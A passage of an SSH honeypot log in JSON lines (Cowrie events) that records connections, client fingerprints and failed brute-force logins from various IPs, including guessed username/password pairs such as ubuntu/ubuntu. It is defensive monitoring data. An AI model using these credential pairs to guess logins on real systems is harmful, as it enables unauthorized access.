-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:04.158599Z","src_ip":"2.57.122.208","session":"3ae6278685de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rose","password":"12345","message":"login attempt [rose/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:04.489474Z","src_ip":"42.112.42.129","session":"dc96021b81d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:04.630843Z","src_ip":"2.57.122.208","session":"3ae6278685de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:05.746413Z","src_ip":"42.112.42.129","session":"dc96021b81d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:05.811895Z","src_ip":"2.57.122.208","session":"3ae6278685de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":45920,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ac11323c089","protocol":"ssh","message":"New connection: 103.193.178.240:45920 (159.203.135.109:22) [session: 4ac11323c089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:34.073908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:34.088089Z","src_ip":"103.193.178.240","session":"4ac11323c089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:34.333876Z","src_ip":"103.193.178.240","session":"4ac11323c089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":39876,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5c4bd364fb2","protocol":"ssh","message":"New connection: 128.201.200.162:39876 (10.17.0.5:22) [session: f5c4bd364fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:35.369560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:35.374282Z","src_ip":"128.201.200.162","session":"f5c4bd364fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:35.487855Z","src_ip":"128.201.200.162","session":"f5c4bd364fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vip1","password":"vip11234","message":"login attempt [vip1/vip11234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:35.974349Z","src_ip":"128.201.200.162","session":"f5c4bd364fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RPM","password":"123","message":"login attempt [RPM/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:36.079676Z","src_ip":"103.193.178.240","session":"4ac11323c089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:37.089358Z","src_ip":"128.201.200.162","session":"f5c4bd364fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:37.335503Z","src_ip":"103.193.178.240","session":"4ac11323c089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":51096,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f8774e39db4","protocol":"ssh","message":"New connection: 2.57.122.210:51096 (159.203.135.109:22) [session: 5f8774e39db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:00.037951Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:00.140131Z","src_ip":"2.57.122.210","session":"5f8774e39db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":34518,"dst_ip":"10.17.0.5","dst_port":22,"session":"f328ab40486e","protocol":"ssh","message":"New connection: 92.118.39.76:34518 (10.17.0.5:22) [session: f328ab40486e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:07.355397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:07.359920Z","src_ip":"92.118.39.76","session":"f328ab40486e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:07.467375Z","src_ip":"92.118.39.76","session":"f328ab40486e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:07.779371Z","src_ip":"92.118.39.76","session":"f328ab40486e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:08.881141Z","src_ip":"92.118.39.76","session":"f328ab40486e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":52100,"dst_ip":"10.17.0.5","dst_port":22,"session":"013da4545510","protocol":"ssh","message":"New connection: 165.154.6.89:52100 (10.17.0.5:22) [session: 013da4545510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:23.237035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:23.243889Z","src_ip":"165.154.6.89","session":"013da4545510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:23.459042Z","src_ip":"165.154.6.89","session":"013da4545510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ami","password":"ami1234","message":"login attempt [ami/ami1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:24.350757Z","src_ip":"165.154.6.89","session":"013da4545510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:25.567736Z","src_ip":"165.154.6.89","session":"013da4545510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":52794,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f7555a864b8","protocol":"ssh","message":"New connection: 103.134.154.36:52794 (10.17.0.5:22) [session: 2f7555a864b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:42.846472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:42.850627Z","src_ip":"103.134.154.36","session":"2f7555a864b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:43.081238Z","src_ip":"103.134.154.36","session":"2f7555a864b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rodrigo","password":"12345","message":"login attempt [rodrigo/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:44.018872Z","src_ip":"103.134.154.36","session":"2f7555a864b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:48:45.247418Z","src_ip":"103.134.154.36","session":"2f7555a864b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":51992,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fec3ca48d15","protocol":"ssh","message":"New connection: 103.193.178.240:51992 (159.203.135.109:22) [session: 3fec3ca48d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:04.639606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:04.644358Z","src_ip":"103.193.178.240","session":"3fec3ca48d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:04.892728Z","src_ip":"103.193.178.240","session":"3fec3ca48d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"123456","message":"login attempt [testftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:06.082391Z","src_ip":"103.193.178.240","session":"3fec3ca48d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:07.335853Z","src_ip":"103.193.178.240","session":"3fec3ca48d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54148,"dst_ip":"10.17.0.5","dst_port":22,"session":"898d23b97673","protocol":"ssh","message":"New connection: 2.57.122.208:54148 (10.17.0.5:22) [session: 898d23b97673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:11.382430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:11.386539Z","src_ip":"2.57.122.208","session":"898d23b97673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:11.487784Z","src_ip":"2.57.122.208","session":"898d23b97673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:11.850083Z","src_ip":"2.57.122.208","session":"898d23b97673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:13.045061Z","src_ip":"2.57.122.208","session":"898d23b97673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":53522,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf9d74bedf34","protocol":"ssh","message":"New connection: 42.112.42.129:53522 (10.17.0.5:22) [session: bf9d74bedf34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:41.448940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:41.453717Z","src_ip":"42.112.42.129","session":"bf9d74bedf34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:41.706392Z","src_ip":"42.112.42.129","session":"bf9d74bedf34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":58432,"dst_ip":"10.17.0.5","dst_port":22,"session":"174be5605b2a","protocol":"ssh","message":"New connection: 128.201.200.162:58432 (10.17.0.5:22) [session: 174be5605b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:49:42.892406Z"}
